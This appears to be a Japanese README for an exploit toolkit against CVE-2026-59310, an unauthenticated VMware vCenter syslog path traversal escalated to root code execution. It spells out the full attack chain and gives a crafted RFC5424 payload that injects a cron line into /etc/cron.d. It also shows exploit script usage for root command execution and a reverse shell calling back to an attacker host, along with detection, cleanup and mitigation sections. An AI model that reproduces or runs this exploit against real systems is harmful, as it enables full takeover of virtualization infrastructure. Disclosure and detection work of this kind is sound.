
CVE-2026-59310 の Python PoC およびエクスプロイト。VMware vCenter の syslog パストラバーサルにより、cron インジェクションを介した未認証の root RCE に至る脆弱性で、検出およびクリーンアップのガイダンスを含む。
免責事項:本プロジェクトは許可されたセキュリティテスト、脆弱性検証、防御研究のみを目的としています。明確な書面による許可を得た環境で使用してください。使用者は乱用によって生じる一切の結果に対して自ら責任を負うものとします。
| 項目 | 内容 |
|---|---|
| 脆弱性名 | VMware vCenter Syslog ディレクトリトラバーサル脆弱性 |
| 脆弱性番号 | CVE-2026-59310 |
| 脆弱性タイプ | ディレクトリトラバーサル(Path Traversal)→ 任意ファイル書き込み → リモートコード実行 |
| CVSS 3.1 | 9.8(Critical) |
| 悪用の前提条件 | 到達可能な syslog ポート(デフォルト UDP/TCP 514)のみで、認証情報は一切不要 |
| 悪用の結果 | root 権限で任意のパスに書き込み、任意のコードを実行 |
| 公開日 | 2026-07-29 |
| 野放しでの悪用 | 確認済み |
| ベンダーアドバイザリ | VMSA-2026-0006 |
vCenter に内蔵された syslog 受信サービス(rsyslog)は動的パステンプレートを使用してログを保存し、テンプレートはメッセージヘッダーの
APP-NAME、HOSTNAME フィールドをそのままファイルパスに連結し、パスのサニタイズを行っていません。攻撃者が到達可能な syslog
ポートに細工したメッセージを送信すると、書き込みパスが所定のログディレクトリから脱出し、さらにスケジュールタスクと組み合わせて任意のコード実行を実現できます。
vCenter は仮想化管理の中枢であり、一度侵害されると vSphere / VCF 環境全体が陥落するのと同義です。
影響を受けるバージョン(以下の修正バージョン未満)
同時に影響:スタンドアロンでデプロイされた vCenter、および VMware Cloud Foundation、VMware vSphere Foundation、VMware Telco Cloud で使用される影響を受ける vCenter コンポーネント。
検証済み環境:VMware vCenter Server 9.0.2.0 / Build 25148086、 修正版 25629525 より前であり、未修正状態であることを確認済み。
/etc/rsyslog.conf(VMware 出荷時のデフォルト設定):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% はディレクトリ名とファイル名の両方に使用され、パスのサニタイズがありません。
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
プレフィックス一致のみを要求するため、攻撃者は rsyslog/... を使うだけでこのルールにヒットし、動的パステンプレートに入り込めます。
24: $EscapeControlCharactersOnReceive off
メッセージ内容の改行がそのままディスクに書き込まれるため、攻撃者は書き込まれるファイルの行構造を制御できます。
これが本脆弱性で最も見落とされやすい点です。
/ はデフォルトで許可されないため、
APP-NAME が / の位置で切り捨てられる → トラバーサル不可。APP-NAME は独立したスペース区切りフィールドであり、文字ホワイトリスト検証を行わないため、
/ と .. がそのまま保持される → トラバーサル可能。サーバー側の input(type="imudp" port="514") はデフォルトのルールセットを使用し、RFC5424 メッセージも同時に受け付けます。
攻撃者はメッセージを RFC5424 形式で書くだけで、トラバーサル文字がファイルパスに直接到達します。
実測比較(同一ペイロード rsyslog/../../../../tmp/x):
| パーサー | 実際の %app-name% の値 |
|---|---|
| pmrfc3164 | rsyslog ← / の位置で切り捨て |
| pmrfc5424 | rsyslog/../../../../tmp/x ← 完全に保持 |
傍証:純粋な
..はリテラルなディレクトリ名として作成されます(例:rsyslog..)。これは rsyslog の omfile 層が..の正規化を行っていないことを示しており、成否を実際に決めるのはパーサーが/をフィールドに送り込めるかどうかです。
① 未認証 UDP パケット → ② RFC5424 APP-NAME にトラバーサルを搭載 → ③ ログディレクトリを脱出して任意書き込み(root)
↓
⑤ root コード実行 ← ④ /etc/cron.d にスケジュールタスクを植え付け
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
テンプレートに代入:
ディレクトリ = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
ファイル = 同上 + "-syslog.log" → /tmp/PWNED-syslog.log
結果:root 所有者として /tmp/PWNED-syslog.log に書き込み、存在しない親ディレクトリは自動的に作成され、内容は完全に制御可能です。
書き込まれるファイル名は固定で -syslog.log で終わるため、/etc/cron.d/xxx を直接上書きすることはできません。
しかし改行の貫通を利用して、MSG に改行を注入し、制御可能な内容をファイルの 0 列目から開始させることができます:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron は "bad minute" を報告し、無視
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← 正当な cron 行として実行される
#
crond が root でスケジュール実行し、以下を取得:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ に書き込み(lighttpd が 5480 で待ち受け)、
その後 https://<target>:5480/... 経由で読み取る。ベンダーアドバイザリの記述と一致。/var/spool/cron/root:このディレクトリに書き込むことは可能だが、root という名前のファイル本体が必要であり、
-syslog.log サフィックスの制限を受けるため、/etc/cron.d/ の方が直接的。任意ファイル書き込み(未認証)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] API 名前空間バージョン: 9.0.0.0 (appliance build ではない、フィンガープリントの参考のみ)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] 送信済み。ターゲット上に root 所有のファイルが生成される見込み
# ターゲット上:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
コマンド実行(root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] 植え付け済み : /etc/cron.d/cve59310<name>-syslog.log
[i] 結果の読み取り : cat /tmp/cve59310_<name>.txt
# 約 60 秒後:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
インタラクティブなリバースシェル(root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <あなたのIP> --lport 4444
[+] 0.0.0.0:4444 で待ち受け中
[+] 植え付け済み : /etc/cron.d/cve59310<name>-syslog.log
[+] コールバック成功、<target>:56184 から —— root シェルが確立されました
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
ターゲット IP、リバースアドレスなどはご自身の許可されたテスト環境に置き換えてください。
exploit_cve_2026_59310.py# 1) インタラクティブな root リバースシェル(最も一般的)
python3 exploit_cve_2026_59310.py <target> --lhost <あなたのIP> --lport 4444
# 2) 単一コマンドを実行し、出力をターゲットの /tmp/<name>.txt に書き込む
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) 非破壊的検証:未認証の任意ファイル書き込みのみを証明
python3 exploit_cve_2026_59310.py <target> --check
# 4) クリーンアップコマンドを表示
python3 exploit_cve_2026_59310.py <target> --cleanup
よく使うパラメータ:
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # 任意書き込みを検証
python3 poc_vcenter_rce.py <target> --rce "id" --name t # コマンド実行
python3 poc_vcenter_rce.py <target> --cleanup # クリーンアップのヒント
poc_syslog_traversal.pyHOSTNAME / APP-NAME を独立して制御でき、手動でメッセージを構築するために使用:
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
本脆弱性は書き込みプリミティブのみを提供するため、スクリプトがリモートファイルを自ら削除することはできません。クリーンアップはターゲット上で実行する必要があります:
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# vCenter Shell でバージョンを確認(Build < 25629525 の 9.0 ブランチは未修正)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# 脆弱な動的パステンプレートが存在するか確認
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# 改行の貫通が有効か確認
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) /etc/cron.d 配下の異常なファイル(重点:-syslog.log サフィックス付きのエントリ)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) ログディレクトリ外の疑わしい *-syslog.log ファイル(全ディスクスキャン、最も有効)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) トラバーサルによって生成された異常なディレクトリ(パスに .. や % などの文字を含むディレクトリに注意)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) VAMI 静的ディレクトリに書き込まれた内容
ls -la /opt/vmware/share/htdocs/
# 5) syslog 転送ログ内の hostname の異常(/ や .. を含む APP-NAME)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
ヒント:2 番目の全ディスクスキャンが最も信頼できる調査手段です。テンプレートが存在しないパスにトラバーサルした場合、 rsyslog は親ディレクトリを自動的に作成するため、
/..etc/、/rsyslog../のような奇形ディレクトリ も明確な侵入痕跡となります。
影響を受けるバージョン の表を参照してアップグレードしてください。9.0 ブランチの最低要件は 9.0.2.0100(Build 25629525) です。
RFC5424 の攻撃面を閉じる(最も直接的):514/1514 入力に明示的に pmrfc3164 パーサーをバインドします。
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
明示的なパスのサニタイズ:omfile に securepath="normal" と secpath-drop="replace" を設定します。
上流の rsyslog セキュリティアドバイザリ(GHSA-xmp9-244p-5ggv)は securepath こそが信頼できるパス境界であると明確に述べています。
改行の貫通を遮断:$EscapeControlCharactersOnReceive on を設定します。
セレクタを厳格化::app-name, startswith, "rsyslog" を完全一致に変更します;
ホスト名判定ルールを送信元 IP / ネットワークセグメントのホワイトリストによる判定に変更し、任意の外部送信者が動的パステンプレートに入り込むのを防ぎます。
ネットワーク分離:514/1514 は管理対象の ESXi と信頼されたログフォワーダーのみに開放し、非管理ネットワークからのアクセスを禁止します。
⚠️ 注意:現在
%hostname%パスを防いでいるのは RFC3164 パーサーのデフォルト動作という偶発的な防御層のみであり、 信頼できるセキュリティ境界ではありません。互換性のためにpermit.slashesinhostnameを有効にすると、 同じルールが直ちに悪用可能になります。
Q:ツールが報告するバージョンが 9.0.0.0 で、実際の build と一致しないのはなぜですか?
/sdk/vimServiceVersions.xml が返すのは API 名前空間バージョンであり、appliance build 番号ではありません。
これに基づいて修正済みかどうかを判断することはできません。vCenter Shell で cat /etc/vmware-release を使用して実際の build を確認してください。
Q:コマンド実行後に結果が読み取れない?
crond は毎分スケジュールされるため、通常は約 60 秒待つ必要があります。また、本脆弱性には書き込みプリミティブしかなく、
スクリプトが能動的にファイルを読み戻すことはできないため、ターゲット上で cat /tmp/cve59310_<name>.txt を実行する必要があります。
--read-cmd で外部読み取りコマンド(例:ssh root@target cat {path})を渡すこともできます。
Q:リバースシェルがコールバックしない?
よくある原因:ターゲットが攻撃マシンにアクセスできない(ファイアウォール / NAT / ネットワークセグメント分離);crond がまだトリガーされていない
(--timeout を増やせます);待ち受けポートが開放されていない。--method python でフォールバック実装に切り替えられます。
Q:-c "a; b" で一部の出力しか得られないのはなぜですか?
修正済みです。スクリプトは { cmd; } > file 2>&1 のグループリダイレクトを使用し、
コマンドシーケンス全体の出力が確実にキャプチャされるようにしています(a; b > file は最後の 1 つしかリダイレクトされません)。
| ブランチ | 影響範囲 | 修正バージョン |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100(Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 初期版 / U1 | すべて | サポート対象パスに従い 8.0 U3k 以降へアップグレード |
| 7.0 | 対応する拡張サポートパッチが未適用 | Broadcom に連絡してパッチを入手、またはサポート対象バージョンへ移行 |
| 項目 | 値 |
|---|
| ターゲット | VMware vCenter Server 9.0.2.0、Build 25148086 |
| 修正バージョン | 9.0.2.0100、Build 25629525 |
| rsyslog | 8.2306.0-4.ph5(VMware カスタムパッケージ) |
| syslog ポート | UDP/TCP 514、TCP 1514(TLS) |
| 認証要件 | なし |
| パラメータ | 説明 |
|---|
--port | syslog ポート、デフォルト 514 |
--tcp | UDP ではなく TCP を使用 |
--lhost / --lport | リバースシェルのコールバックアドレス / ポート |
--method {bash,python} | リバース方式、デフォルト bash(/dev/tcp) |
--name | 単一実行の一意な識別子、デフォルトはランダム |
--timeout | 実行/コールバックを待つ秒数、デフォルト 180 |
-q | banner を表示しない |